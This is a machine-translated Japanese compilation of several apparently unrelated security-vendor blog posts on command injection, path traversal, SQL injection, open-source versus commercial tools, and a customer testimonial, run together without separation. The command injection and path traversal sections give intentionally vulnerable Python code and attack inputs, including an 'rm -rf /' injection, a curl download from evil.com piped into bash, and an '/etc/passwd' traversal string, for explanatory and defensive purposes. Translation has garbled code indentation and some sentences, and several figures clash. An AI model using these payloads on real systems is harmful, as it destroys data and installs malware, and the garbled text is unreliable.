ブログへようこそ

コマンド・インジェクションとは？

コマンド・インジェクションは、SQL インジェクションやコード・インジェクションほど有名ではありませんが、ウェブ・アプ リケーションにおいて未だに広く見られる脆弱性です。もしあなたが他のインジェクションの脆弱性に精通しているなら、共通の原則を認識するでしょう：信頼されな いユーザ入力が適切に検証されず、任意のシステムコマンドの実行につながるというものです。この欠陥は、検証されていない入力がシステムレベルの関数に渡されたときに発生します。では、コマンド・インジェクションは実際にどの程度目立つのだろうか？ 私たちは、この脆弱性がどの程度一般的に見られるかを調べました！

コマンド・インジェクションの例

このコマンド・インジェクションの例を考えてみましょう。サーバーにホストされているファイル名を入力するアプリケーションがあるとします。アプリケーションはそのファイルを取得し、内容を書き出します。そのコードは以下の通りです

import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")

上記のコードは、ユーザーが次のようなファイル名を挿入することを想定しています。 ファイル.txt しかしその代わりに、悪意のあるユーザーがコードを注入して悪意のあるコマンドを実行する。

例えば
ファイル名 file.txt; rm -rf /.

この入力は、まず ファイル.txt を実行し、悪意のある rm -rf コマンドは、ディレクトリ内のすべてのファイルを強制的に削除する。

悪意のあるユーザは、アプリケーションがユーザの入力を検証またはサニタイズしていないため、コマンド・インジェクション の影響を受けやすく、これを行うことができます。

より包括的な例をご覧になりたい方は、 このページの下にあるボーナス・コンテンツをご覧ください。

数字で見るコマンド・インジェクション我々の研究

• 2024年にオープンソースプロジェクトで発見された全脆弱性の7 ％がコマンドインジェクションだった
• クローズド・ソース・プロジェクトでは5.8％ ！
• オープンソースプロジェクトにおけるコマンドインジェクションの脆弱性の総数が2,348件（2023年）から2,600件 （2024年）に増加する見込み。
• 全脆弱性に占めるコマンドインジェクションの割合は、2023年から2024年にかけて、オープンソースプロジェクトで14.6％、クローズドソースプロジェクトで26.4％減少している。

私たちの研究は、オープンソースとクローズドソースの両方のプロジェクトを調査し、その中にコマンドインジェクションの脆弱性がどれだけ隠れているかを明らかにすることに重点を置いた。

オープンソースプロジェクトで報告された全脆弱性の7%がコマンドインジェクションであり、クローズドソースプロジェクトでは5.8%であった。 これは、SQL インジェクションの脆弱性の発見数にかなり近い。

2023年から2024年にかけて、これらの脆弱性が減少するという確かな傾向が見られます。全脆弱性の割合としては、クローズドソースプロジェクトで27％、オープンソースで14％減少しています。これには多くの要因があると思われますが、重要な要因のひとつは、2024年にFBIとCISAがコマンド・インジェクションを現実の脅威として指摘し、ベンダーに注意を促したことでしょう。データによれば、この警告は聞き入れられた。

良いニュースは残念ながらそこで止まっている。オープンソースプロジェクトで報告された脆弱性の数は、全体的にまだ増加している。オープンソースプロジェクトで報告されたインジェクション脆弱性の総数は、2023年の2,348件から、2024年の今のところ2,450件に増加している（2,600件に達する見込み）。

コマンド・インジェクションを防ぐには

コマンド・インジェクションの脆弱性を防ぐには、多面的なアプローチが必要だ：

サーバー側の入力検証

よくある間違いは、攻撃者が直接リクエストすることでバイパス可能なクライアント側のバリデーションだけを実行することである。

import subprocess

# 入力制限の例
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt" # これはユーザーからのものであるべきだが、検証される

if user_input in allowed_files:
 subprocess.Popen(['ls', '-l', user_input])
else:
 print("Invalid input!")

シェルコマンドを避ける

可能であれば、シェルコマンドを言語固有の関数やライブラリに置き換える。以下は、読み取り専用モードを使ってファイルを開き、その中のコンテキストを読み取る例である。

with open("file.txt", "r") as f:
print(f.read())

自動テスト

Aikido ようなツールを使ってソースコードとアプリケーションをスキャンし、これらの脆弱性を発見してください。

アプリ内ファイアウォールを使用する

インジェクション攻撃に対する最善の防御策の1つは、悪意のあるコマンドをキャッチしてブロックできるアプリ内ファイアウォール です。Aikidoアプリ内ファイアウォールZenは、オープンソースと商用で提供されており、実行時にインジェクション攻撃を検知してブロックすることができます。

最小特権の原則の適用

アプリケーションとユーザが必要最小限の権限で実行されるように設定し、悪用による潜在的な損害を減らす。

前進への道

コマンド・インジェクションは、多くのインジェクション脆弱性とともに、技術的な観点からは課題である。そのことを念頭に置いても、この種の脆弱性がいまだに多く見られるということは、飛躍的な改善は期待できないということだ。

コマンド・インジェクションは今後も問題であり続けるだろうが、今年、大規模な組織がこの脆弱性に注目した結果、大幅に減少した。

ボーナス・コンテンツ

コマンド・インジェクションの歴史：著名な侵害

コマンド・インジェクションは長い間、根強い脅威だった。実際、1989年から2014年まで、bashには重大なコマンド・インジェクションの脆弱性が存在していた。さらに最近の2024年には、CISAとFBIによってコマンド・インジェクションの重要性が強調され、依然として大きな懸念事項であることが示された。

1.コマンド・インジェクションの黎明期

• 最初に知られた使われ方コマンド・インジェクションの脆弱性は、1970年代から1980年代にかけてのマルチユーザー・コンピューティング・システムの台頭とともに出現し、攻撃者は未消化の入力を介して任意のコマンドを実行できるようになった。
• 1980年代と1990年代：ウェブ技術の普及により、コマンド・インジェクションの悪用が増加し、特に不適切に保護されたCGIスクリプトが悪用されるようになった。

2.重大な違反と悪用

• 1998:初めて文書化されたウェブベースのコマンド・インジェクション攻撃：広く使用されているPerlベースのCGIスクリプトの脆弱性が悪用され、ウェブベースのコマンド・インジェクションの最初の大きなインシデントの一つとなった。
• 2010:Stuxnet ワーム（組み込み型コマンド・インジェクション）：Stuxnet は、コマンド・インジェクションを利用して産業用制御システムを標的にし、従来の IT 環境を超えた脆弱性を示しました。

3.2010s:規模での搾取

• 2014:Shellshock 脆弱性：Shellshock (CVE-2014-6271)はBashのコマンド処理を悪用するもので、世界中の何百万ものシステムに影響を及ぼしている。
• 2018:Cisco ASA VPN の悪用 (CVE-2018-0101)：Cisco の ASA ソフトウェアにコマンドインジェクションの脆弱性があり、リモートでコードが実行され、企業のセキュリティが侵害されます。

4.2020s:現代のエクスプロイトとトレンド

• 2020:Citrix ADC Gateway Exploit：攻撃者は、Citrix システムのコマンドインジェクションの脆弱性を悪用し、重大なデータ侵害を引き起こしました。
• 2023:MOVEit の脆弱性（SQL およびコマンドインジェクション）：MOVEit Transfer ソフトウェアのコマンド・インジェクションの欠陥により、複数の組織で広範なデータ侵害が発生。

リアル・コマンド・インジェクションの脆弱性

脆弱なコード

コマンド・インジェクションのもう少し複雑な例を見てみよう。以下は単純な Python ウェブアプリケーションのコードです。にPOSTリクエストを送ることで、指定したファイルのZIPアーカイブを作成することができます。 /アーカイブ のルートだ。

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/archive', methods=['POST'])
def archive_files():
    files = request.form.get('files')  # User provides file names to archive
    archive_name = request.form.get('archive_name')  # User provides archive name
    
    command = f"zip {archive_name}.zip {files}"  # Command built dynamically
    os.system(command)  # Execute the system command

    return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
    app.run(debug=True)

仕組み

ユーザーが供給する：

• ファイル (例 file1.txt file2.txt) を使ってアーカイブに含めるファイルを指定する。
• アーカイブ名 で、結果のzipアーカイブの名前を指定する。

このコードはシェルコマンドを動的に構築する：

1. zip アーカイブ名.zip file1.txt file2.txt

2.2. os.system() 関数はコマンドを実行し、ユーザーが提供した入力がコマンドの動作を決定する。

搾取

攻撃者はこれを悪用し、追加コマンドを アーカイブ名 または ファイル を入力する。

攻撃側が提供する入力：

• アーカイブ名: my_archive; rm -rf /.
• ファイル: ファイル1.txt

コマンドの結果

zip my_archive.zip file1.txt; rm -rf /.

1. zip my_archive.zip file1.txt: 期待通りにアーカイブを作成する。
2. ; rm -rf /: 別の破壊的コマンドを実行することにより、サーバー上のすべてのファイルを削除する。

より洗練された例

攻撃者はこれを悪用してマルウェアをダウンロードしたり、データを流出させたりする可能性がある：

アーカイブ名: アーカイブ; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

結果コマンド：

zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

このコマンド：

1. アーカイブを作成する (zip archive.zip file1.txt).
2. 悪意のあるコードをダウンロードするcurl -o malware.sh http://evil.com/malware.sh).
3. マルウェアを実行する(バッシュ malware.sh).

パストラバーサルは、ディレクトリトラバーサルとも呼ばれ、悪意のあるユーザがファイルやディレクトリに不正にアクセスするために、ユーザが提供したデータを操作する場合に発生します。通常、攻撃者は異なるディレクトリにあるログや認証情報にアクセスしようとします。パストラバーサルは新しい脆弱性ではなく、ウェブサーバーが人気を博した90年代から積極的に悪用されてきた。

このような長い歴史を持つパス・トラバーサルは、現在でも人気があるのだろうか？私たちはオープンソースとクローズドソースの両方のプロジェクトで調査を行い、2024年にパス・トラバーサルがどの程度一般的であったか、そして私たちが改善しているかどうか、スポイラーたちは改善していないのか、データを収集した。

パストラバーサル例

では、パストラバーサルは具体的にどのように機能するのだろうか？簡単な例を見てみよう。

この単純なアプリケーションでは、ユーザーはURLの変数を通してダウンロードするファイルを与えられる。

リクエストを処理する簡単なバックエンドのPythonコードがある。

import os

def download_file(file):
 base_directory = "/var/www/files"
 file_path = os.path.join(base_directory, file)
    
 if os.path.exists(file_path):
 with open(file_path, 'rb') as f:
 return f.read()
 else:
 return "ファイルが見つかりません"

変数がURLで提供されているので、次のように変更することができる。 ファイル=.../.../.../etc/passwd

ここで攻撃者は、./../を使ってディレクトリ構造をシステムのルートレベルまでたどり、渡されたファイルにアクセスし、機密情報にアクセスする可能性がある。

この方法がどのように安全なのか知りたい方は、ボーナスコンテンツまでスクロールしてください。

多層のディレクトリやエンコードされた文字を含む、より複雑なシナリオの場合（例． 2e%2e%2f)、攻撃者は基本的なフィルターを迂回し、ファイルシステムに深くアクセスすることができる。

数字によるパストラバーサル

• 2024年までにオープンソース・プロジェクトで発見された脆弱性の2.7％が パス・トラバーサルだった
• クローズド・ソース・プロジェクトの場合は3.5%！
• オープンソースプロジェクトにおけるパス・トラバーサル脆弱性の総数が742件（2023年）から1,000件 （2024年）に増加する見込み。
• 全脆弱性に占めるパストラバーサル脆弱性の割合は、クローズドソースのプロジェクトが85％と大幅に増加し、より一般的になっている。

私たちの研究は、オープンソースとクローズドソースの両方のプロジェクトを調査し、どれだけの数のプロジェクトにパス・トラバーサル脆弱性が隠れているかを明らかにすることに重点を置いた。

パストラバーサル脆弱性の全体的な数は、コマンドインジェクションやSQLインジェクションなど、我々が調査した他の脆弱性よりも少ない。しかし、この脆弱性が非常に危険であり、それを防ぐための解決策が十分に文書化されていることを考えると、この数字がこれほど高いのは憂慮すべきことです。この脆弱性のトレンドが悪い方向に向かっているのを見るのは、さらに憂慮すべきことだ。

オープンソースプロジェクト

オープンソースプロジェクトでは、2023年に報告された全脆弱性の2.6％をパストラバーサルが占めた。この数値は2024年にわずかに増加し、2.75%に上昇した。この増加は一見わずかなものに見えますが、単純な脆弱性に対してさえオープンソースソフトウェアの安全性を確保する上での継続的な課題を浮き彫りにしています。

クローズド・ソース・プロジェクト

最も顕著な傾向はクローズド・ソース・プロジェクトに見られ、パス・トラバーサル・インシデントが2023年の1.9％から2024年には3.5％に急増した。

悪いニュースは残念ながらこれだけにとどまらない。オープンソース・プロジェクトで報告される脆弱性の数は、全体的に増加の一途をたどっている。オープンソースプロジェクトで報告されたインジェクション脆弱性の総数は、2023年の742件から、2024年の今のところ917件に増加している（1000件に達する見込み）。

パス・トラバーサルの防止

コマンド・インジェクションの脆弱性を防ぐには、多面的なアプローチが必要だ：

入力検証

• ユーザー入力のサニタイズ:などの危険な文字を取り除くか、エンコードする。 ../, ..\, ..%2fその他のバリエーションもある。
• Allowlistアプローチ：許容される入力（ファイル名やパスなど）の厳密なセットを定義し、このリスト以外のものを拒否する。

ファイルアクセスの制限

• chroot jailまたはサンドボックスを使用します：アプリケーションのファイルアクセスを制限されたディレクトリに制限し、意図したディレクトリツリーを越えてトラバースできないようにします。
• ルートディレクトリの設定:ベース・ディレクトリを定義し、すべてのパスがそれに対する相対パスであることを保証する。これを強制するAPIやフレームワークを使用する：java.nio.file.Paths.get("baseDir").resolve(userInput).normalize()。 Javaで。
  os.path.realpath() そして os.path.commonpath() Pythonで。

セキュアなファイルアクセスAPI

• 最新のライブラリやフレームワークが提供する安全なファイルアクセス方法を使用する。 ジャワ使用する Files.newInputStream() または Files.newBufferedReader() 安全なファイル操作のために。
  で パイソンファイルにアクセスする前に、ファイルのパスを検証してください。

使用環境の制限

• 制限を設ける ファイルシステムのパーミッションアプリケーションに必要最低限の権限しかないようにする。
  機密性の高いディレクトリへのアクセスを拒否する(例、 /etc, /var, /usrおよびユーザーホームディレクトリ)。
• ウェブサーバーやフレームワークの不要な機能（シンボリックリンクのフォローなど）を無効にする。

自動テスト

• Aikido ようなツールを使ってソースコードとアプリケーションをスキャンし、これらの脆弱性を発見してください。
• SASTとDASTの両ツールは、ドメインスキャンやクラウドセキュリティとともに使用し、隠れたパストラバーサル脆弱性がないことを確認する必要がある。

アプリ内ファイアウォールを使用する

• インジェクション攻撃に対する最善の防御策のひとつは、悪意のあるコマンドをキャッチしてブロックできるアプリ内ファイアウォール だ。

前進への道

パストラバーサルは、ウェブアプリケーションの初期から存在する脆弱性であり、非常に単純であることが多い一方で、非常に壊滅的な悪用になることもあります。そのため、非常に多くのプロジェクトがいまだにこのような問題に悩まされていることが気になる。3.5%は高い数字ではないように思えるが、その脅威が明らかに継続し、十分に文書化されているにもかかわらず、この数字が増加していることは非常に注目に値する。

パストラバーサルは、消えてなくなる脆弱性ではありませんが、良いニュースは、アプリケーションでこれらの脆弱性を見つけ、見つけた問題を修正することができる明確な方法があるということです。

ボーナス・コンテンツ

実際の事件

近年、いくつかの有名な侵害や脆弱性があり、それらは侵入の主要なポイントとして、あるいは脆弱性の連鎖の一部として、パス・トラバーサルに関与していた。

Microsoft IIS Unicode Exploit(2001)

Microsoft IIS サーバーを標的とした、最も初期の著名なパストラバーサル悪用の1つである。攻撃者はエンコードされたパスを使用して、検証メカニズム（たとえば c0%af を表します。 /).これにより、ウェブのルート・ディレクトリ外のファイルにアクセスし、実行することが可能になった。

これにより、マルウェアの展開や多数のウェブサイトの改ざんが可能になった。

フォーティネットVPNパストラバーサル（2019年）

フォーティネットのSSL VPNにディレクトリトラバーサルの脆弱性（CVE-2018-13379）があることが判明しました。攻撃者はこの欠陥を悪用し、VPNユーザーの平文パスワードなど、機密性の高いシステムファイルにアクセスしていました。

何千ものVPN認証情報がネット上に流出し、組織は不正アクセスやさらなる攻撃にさらされることになった。

キャピタル・ワン流出事件（2019年）

何が起こったか主な原因はSSRFの脆弱性であったが、攻撃者はAWS S3バケットのメタデータにアクセスする際にディレクトリトラバーサルも利用していた。攻撃者は設定ミスを悪用し、本来アクセスできないはずの設定ファイルを取得した。

これにより、1億600万人のクレジットカード申込者の個人情報が流出した。

Kubernetesダッシュボードにおけるパストラバーサル(2020)

Kubernetes Dashboard にはディレクトリトラバーサルの不具合（CVE-2020-8563）がありました。攻撃者はこれを悪用して、コンテナ内の機密ファイルを読み取る。 /etc.

セキュリティ・ツールにどのようなアプローチを使うかを決めるとき、2つの選択肢があるように思える。

1.左の腎臓を売って 、F1マシンの側面に名前がある企業ソリューションを買う。

2.金曜日の夜、出会い系アプリよりも多くの偽陽性を右スワイプする無料のオープンソースツールを選ぶ。

セキュリティにおけるあらゆることがそうであるように、現実にはもっと解き明かすべきことがある。この記事では、どのような場合にオープンソースのセキュリティ・ツールを使うべきか、どのような場合に商用ツールの方が効果的なのか、そしてオープンソースのコアから構築されたツールを信頼できるのかを探ってみたい。

ビルドとバイ（オープンソースのコストの罠）

会社を成長させるにつれ、オープンソースか商用かの選択は、ツールを構築するか購入するかの選択であることにすぐに気づくだろう。オープンソースは素晴らしい出発点を提供してくれるが、ダッシュボード、統合、コンプライアンス・レポート、修復ワークフロー、誤検出フィルタリング、脆弱性の優先順位付けなど、必要な機能の多くが欠けている。つまり、オープンソースは無料であるという考えは単純に正しくないということだ。しかし、これは利点でもある。構築しながら進めることで、初期投資を抑え、自社にとって重要な機能に集中することができる。ベンダーが2年前の第3四半期に "約束した "機能を提供してくれることを当てにしているわけではないということだ。

オープンソースのツールの上に構築する場合、考慮すべきマイナス面がたくさんある。まず、これらのツールを構築するのに多大な開発時間がかかるだけでなく、継続的なメンテナンスも必要になる。セキュリティ・ツールは、例えばCI/CDパイプラインのような要素に統合されている場合、本番稼動を妨げる可能性もある。つまり、故障やクラッシュが発生した場合、オンラインに戻すためのサポートがないため、生産性が低下する可能性があるのだ。

では、購入オプションはどうだろうか？まず、立ち上げ期間がなく、最初から完全なカバレッジが得られるので、後々のセキュリティ負債が少なくなります。また、社内ツールの機能構築に集中するために、エンジニアリング・チームを中核的な目標から外すという機会損失も生じない。ペースの速いスタートアップの世界では、この価値を過小評価してはならない。

オープンソース vs 商用

商用ツールの方が脆弱性発見に優れている？

ここまでのところ、おそらく最も重要な質問のひとつもしないまま、ツールのすべての機能について話してきた。何がより多くの脆弱性を見つけるのか？ 一般的に言って、オープンソース・ツールの中核機能は、脆弱性を見つける能力において、商用ツールに匹敵することが多い。しかし、商用ツールが勝るのは、偽陽性をフィルタリングし、発見した内容に優先順位をつける能力である。

オープンソースのプロジェクトに基づいて構築された商用ツールであることが非常に多い。例えば、Zen byAikido、実行時に脅威を阻止するように設計されたフル機能のアプリ内ファイアウォールである。オープンソースのAikidoZenをベースにしているため、オープンソースの同等製品よりもランタイムの脅威を検知して阻止する能力に優れているかというと、そうでもない。エンタープライズ・バージョンの価値は、分析、ルール作成、 特定の脅威に対するより深い理解、導入の容易さといった追加機能にあり、オープンソース・バージョンを企業で使用する場合はすべて自分で構築する必要がある。つまり、オープンソースが必ずしも悪いわけではなく、トリアージの次の段階が欠けているだけなのだ。

注：発見された脆弱性に対するツールのベンチマークも非常に厄介な場合がある。優れたセキュリティ・ツールは、文脈に基づいて誤検知を取り除くのに長けているため、発見する脆弱性が少ないかもしれません。そのため、優れたツールが常に最も多くの脆弱性を発見するとは限りません。

企業向けに構築されたオープンソースを採用

オープンソースは開発しすぎで、コマーシャルは高すぎる。オープンソースをコアにしたフル機能のツールは新しいコンセプトではない。世界で最も成功しているセキュリティ製品の中には、Hashicorp Vault、Elastic Security、Metaploitなど、オープンソースをコアに使っているものがある。これらのツールがうまくいっている理由はたくさんあるが、おそらくあなたが考えているような理由ではないだろう。

費用対効果

オープンソースを利用したツールは、代替の商用ツールと競争する必要があるだけでなく、そのオープンソースベースとも競争しなければならない。つまり、その価値は証明され、透明でなければならない。

コミュニティの力

オープンソースのツールは、Aikido ように営利企業によって保守・構築されていることが多い。オープンソースをベースとするツールは、単に開発時間を短縮するためだけでなく、創業者がオープンソースの力を根本的に信じているからである。オープンソースのツールは、その背後にコミュニティがあるため、機能構築のスピードが速いことが多く、また、特定のニッチな問題がある場合、それを自分自身でツールに導入できることも意味する。

透明性

市販の工具を買うのは、エンジンを見ずに車を買うようなものだ。長期的に見て、どの程度の性能と信頼性があるのだろうか？誰かがエンジンを覗き見ることができなければ、弱点を隠すのは簡単だ。オープンソースのツールはエンジンを隠すことができないので、ツール自体に自信を持ちやすい。

商業的特徴

前述したように、オープンソースのツールは、しばしば商用ツールやオープンソースツールの両方と競合するため、その追加機能の背後に堂々と立つ必要があります。これは、あなたが商用ツールから期待するすべてのものを意味しますが、多くの場合、かなり多くを意味します。製品は十分に定義されたオープンソースベースの恩恵を受けているため、最終的にエンドユーザーに還元される改良に注意を払うことができる。

では、私は何を選ぶのか（最終的な考え）

これまで、オープンソース、商用、オープンソースを利用したセキュリティツールの利点について議論してきました。私の口調から明らかなように、筆者としてオープンソースコミュニティが大好きであり、オープンソースで動くツールは機能に妥協することなく価格に妥協していると信じている。もちろん、純粋な商用版の方が優れているシナリオがあるにもかかわらず、その理由がないと言うのは馬鹿げている。世の中には、完全にクローズドソースの素晴らしい革新的なソリューションもある。しかし、私が最終的に言いたいのは、何かがオープンソースプロジェクトに基づいているからといって、能力や機能が妥協されるわけではないということだ。また、完全な透明性の中でその価値を証明する必要があるため、より深い機能や価値を提供することが多い。

Aikido セキュリティは、開発者が開発者のためにセキュリティを実現するために作成されました。私たちはオープンソースの伝統に誇りを持っています。

Aikido セキュリティを無料で始める

SQLインジェクション（SQLi）の歴史はInternet Explorer（Z世代によれば文明の始まり）よりも古い。SQLインジェクションによって引き起こされた侵害は何千件もあり、それを防ぐためのベストプラクティスやツールは枚挙にいとまがない。ですから、私たちはこれらの侵害から教訓を学び、SQLiはもはや問題ではないのです。

私たちは、オープンソースとクローズドソースのプロジェクトで発見されたSQLインジェクションの数を監視し、私たちが良くなっているかどうかを確認してきました。最近、MOVEitのSQLインジェクション侵害から盗まれたデータがAmazonのような企業に売られているというニュースがありました。

ネタバレになるが、SQLインジェクションを防ぐのはまだ苦手だ。

SQLインジェクションとは？

SQLiは、プログラムがSQLデータベースへのクエリに信頼されていないユーザー入力を直接使用した場合に発生する脆弱性です。悪意のあるユーザが自分のコードを挿入し、クエリを操作することで、悪意のあるユーザが個人データにアクセスしたり、認証をバイパスしたり、データを削除したりすることが可能になります。以下の例は、ユーザー・ログイン・ページに対する安全でない SQL クエリが、SQLi 認証バイパス攻撃に対してどのように脆弱であるかを示しています。

コード・インジェクションやクロスサイト・スクリプティング（XSS）など、インジェクション攻撃にはさまざまな種類がある。しかし、特にSQLiは、非常に長い間、侵害において顕著な役割を果たしており、2024年になってもまだこれについて議論する必要があるということは、多くの人にとって衝撃的なことです。

SQLi攻撃の仕組み

1.脆弱なクエリ
ユーザ入力が直接クエリに使用される脆弱なクエリの例

2.SQL インジェクション攻撃
認証ページのユーザ入力フィールドに SQL が注入される。

3.ペイロードを使用したクエリの実行
ペイロードはパスワードチェックをコメントアウトするので、 クエリはこのステップを無視する。

数字で見るSQLインジェクション

• オープンソースプロジェクトで発見された脆弱性の6.7%はSQLiである。
• クローズド・ソース・プロジェクトの場合は10％！
• オープンソースプロジェクトにおけるSQLインジェクション（ SQLiを含むCVE）の総数は、 2264件（2023年）から2400件（2024年 ）に増加すると予想される。
• 全脆弱性に占めるSQLインジェクションの割合は、2023年から2024年にかけて、オープンソースプロジェクトで14％、クローズドソースプロジェクトで17％減少している。
• クローズドソースプロジェクトの20％以上が、セキュリティツールの使用を開始した時点でSQLインジェクションの脆弱性を指摘されている。
• SQLインジェクションの脆弱性がある組織では、SQLインジェクションサイトの平均数は、コード内の約30カ所である。

2023年と2024年の今までに、オープンソースのパッケージで発見されたSQLi脆弱性の数をレビューした。そして、Aikido Securityによって発見されたクローズドソースプロジェクトと比較しました。驚くなかれ、クローズド・ソース、オープン・ソースの両プロジェクトにおいて、SQLインジェクションの衝撃的な件数が依然として確認されている。2024年にオープンソースプロジェクトで発見された全脆弱性の6.7%がSQLインジェクションの脆弱性であるのに対し、クローズドソースプロジェクトで発見された脆弱性の10%がSQLインジェクションの脆弱性でした。これはそれほど多くないように見えるかもしれないが、2024年になっても、我々が知っている最も基本的な脆弱性のいくつかに対処するのに苦労しているということは、率直に言って衝撃的である。

唯一の朗報は、発見された全脆弱性の割合として、この数字がオープンソースでは2023年から14％減少 し、クローズドソースプロジェクトでは17％減少して いることである。しかし、発見されたSQLiの総数は、2023年の2264件から、オープンソースプロジェクトでは2024年末までに2400件以上に増加すると予想されています。

SQLインジェクションの防止

どうやら、SQLインジェクションを防ぐ方法について、インターネット上にはまだ十分な情報がないようだ：

1.プリペアド・ステートメントとパラメータ化クエリの使用

このブログ記事の冒頭の例では、信頼できないユーザー入力を直接クエリで使用しているため、脆弱なコードを示しました。これを避けるためには、プリペアド・ステートメントを使うべきである。これにより、コマンドとデータストリームが分離され、問題が完全に解決される。素晴らしい解決策だが、常に可能とは限らないし、使われるわけでもない！

import sqlite3
conn = sqlite3.connect('example.db')
cursor = conn.cursor()
user_id = 5 # 安全な入力例
# パラメータ化クエリを使用した安全なクエリ

cursor.execute("SELECT * FROM users WHERE id = ?", (user_id))

2.サーバーサイドの入力/スキーマ検証

入力バリデーションはSQLiを防ぐのに効果的である。例えば、もしあなたのAPIがメールアドレスやクレジットカード番号を期待するのであれば、そのような場合のためにバリデーションを追加するのは簡単です。

3.SAST と DAST ツールを使って SQLi を発見する。

SQLiの最も恐ろしい要素のひとつは、敵に発見されやすいことである。その理由の一つは、DASTのようなツールが自動的にSQLiを発見することができるからです。これを利用し、開発プロセスにこれらのツールを導入することで、早期に発見することができます。

Aikido ような次世代SASTツールは、プラットフォーム内から問題を自動修正することもできる。

4.アプリ内ファイアウォールの実装

アプリ内ファイアウォールは、アプリケーション内のトラフィックとアクティビティを監視し、インジェクションやSQLiを含む攻撃を検出することができます。アプリケーション内部に設置され、予想されるクエリをトークン化し、クエリのコマンド構造を変更するリクエストをブロックできるため、従来のWAFよりも効果的です。

Aikido 新発売のための恥知らずなプラグイン： Zenは、実行時に安心のアプリ内ファイアウォールです。Zenを入手すれば、クリティカルなインジェクション攻撃やゼロデイ脅威がデータベースに到達する前に、リアルタイムで自動的にブロックしてくれます。

5.可能な限り動的SQLを避ける

文字列の連結による動的なSQL生成は、SQLインジェクションに対して非常に脆弱です。可能な限り、静的で事前に定義されたクエリやストアドプロシージャに固執し、SQL構造についてユーザが生成したコンテンツに依存しないようにしてください。

6.リストアップとエスケープを許可する

動的なテーブルを問い合わせる場合や、ユーザ定義のカラムや方向で並び替えを行う場合など、動的SQLを避けられない場合があります。そのような場合は、正規表現による許可リストかエスケープに頼るしかありません。 エスケープとは、'>'のようなコードで使われる危険な文字を含むユーザー入力を、安全な形に変換することです。その前にバックスラッシュを追加したり、シンボルコードに変換したりします。これはデータベースの種類によって異なるだけでなく、charsetなどの接続設定にも依存することに注意してください。

SQLiの終焉はあるのだろうか？

発見されたSQLi脆弱性の数がいくらか大幅に減少しているという事実には期待が持てるが、ゲーム『DOOM』以前の脆弱性がいまだにこのような重大な脅威となっていることに落胆せざるを得ない。実際のところ、これ以上良くなるとは思えない。私たちがより速くコーディングするためのツールを導入するにつれ、開発者は核となるコーディングの原則に触れなくなってきており、これらのAIツールは、インジェクション脆弱性を含む脆弱なコードを提案するのが下手なことで有名だ。

とはいえ、悲観的な話ばかりではない。こうした脆弱性を発見し、修正する上ではるかに効果的な新世代のSASTツールには、脅威の状況を劇的に変える力がある。

とりあえず、これで失礼する：

Aikido AI SAST AutofixによるSQLインジェクションの発見と自動修正

Zenをチェックアウトし、インジェクション攻撃を未然に防ぐ

ボーナス：SQLの歴史

アプリケーションのセキュリティについて話し始めて以来、私たちはSQLインジェクションについて話してきました。2003 年の最初の OWASP トップ 10 チャートでは、SQL インジェクションは 7 位に選ばれました。最初の 最初の大規模攻撃SQLインジェクションが関与した最初の大規模な攻撃として記録されているのは、アパレル企業Guessが標的にされ、クレジットカード番号が流出した事件である。それ以来、SQLインジェクションはセキュリティ・ヘッドラインの常連となっている。

ボーナスPt 2 - SQLインジェクション、コード・インジェクション、XSSの入門書を入手するには、インジェクション攻撃101をチェックしてください。

Aikido おかげで、既存のツールでは対応しきれなかったセキュリティの盲点を見つけることができました。当初導入したSCA（ソフトウェア構成分析）ソリューションにとどまらず、私たちにとって画期的なソリューションです。"

少し前に Vismaは投資先企業にAikido Securityを選んだ。.最近、私たちは ニコライ・ブロガード氏（SAST & SCAのサービス・オーナー）をベルギー本社にお招きすることができました。をベルギー本社にお招きしました。

ニコライはVisma社のセキュリティ・テスト・チームに所属している。Visma社はセキュリティに真剣に取り組んでおり、全社的に力を入れている。15,000人の従業員（うち6,000人が開発者）と100人のセキュリティ専門チームを抱えるVisma社にとって、セキュリティは経営の中核をなすものだ。

進化する安全保障と、その中でAikido 果たす役割についての彼の考えである。

なぜAikidoなのか？

Vismaでは、独自のセキュリティ・ツールを構築することも考えましたが、リソースの有効活用にはならないことがすぐにわかりました。そこで登場したのがAikido です。我々の既存のツール、特にSAST（静的アプリケーション・セキュリティ・テスト）ではカバーできなかったギャップを埋めてくれたのです。Aikidoおかげで、ゼロからツールを開発する必要がなくなりました。

地域の専門性が重要

EUを拠点とする私たちにとって、私たちが直面する特定の規制、特にGDPRやデータ居住要件などを理解しているベンダーと仕事をすることは本当に重要です。Aikido それを理解しています。特にGDPRやデータ居住要件などです。彼らはEU規制の裏も表も熟知しているため、データを国内で保管するなどのコンプライアンス遵守が非常に容易になります。

セキュリティ・ソフトウェアの評価方法

新しいベンダーを検討する際、私たちは80/20の法則に従います。つまり、そのソリューションが私たちの投資先企業の80％のニーズに合っていれば、検討する価値があるということです。Aikido 、私たちにとってその条件を満たしてくれました。SCAだけでなく、セキュリティの盲点への対処やCSPM（クラウド・セキュリティ・ポスチャー・マネジメント）の支援といった追加機能も提供している。これらの付加的なメリットは、私たちにとって本当に決め手となりました。

Aikido利点

Aikido 単にセキュリティ体制を強化してくれただけでなく、以前のツールでは見逃していたものを発見してくれました。当初はSCAのために導入したのですが、すぐにそれ以上のことができることに気づきました。特に、誤検知に対処するために費やす時間と労力を削減することができました。自動修復機能は、私たちのチームにとって非常に大きな時間節約になります。ノイズをカットしてくれるので、開発者は本当に重要なことに集中できます。

スムーズな移行

Aikido 切り替えは簡単でした。Vismaでは、Hubbleと呼ばれる社内セキュリティ開発者ポータルがあり、新しいツールのオンボーディングが非常に簡単です。Aikido場合は、Hubbleに統合し、投資先企業に切り替えを促すだけでした。ほとんどの企業はすぐに移行し、残りは社内でリスクを追跡しながら時間をかけて移行しています。

ヴィスマがAikido愛する理由

Aikido一番いいところは？彼らはとても積極的です。私たちは彼らとSlackチャンネルを共有していますが、私たちのチームが直面するどんな問題にも、彼らはいつも素早く対応し、解決してくれます。彼らは、私たちが彼らの製品を最大限に活用できるよう、本当に気にかけてくれています。

Aikido 単なるベンダーではなく、真のパートナーです。彼らの対応力と私たちの成功を支援する献身的な姿勢が、すべての違いを生み出しています。"

主なハイライト

• セキュリティの隙間を埋める：Aikido 、他のツールが見逃している盲点に光を当てる。
• 時間を節約する自動化：自動修復機能によりノイズが削減され、開発者は真の問題に集中できます。
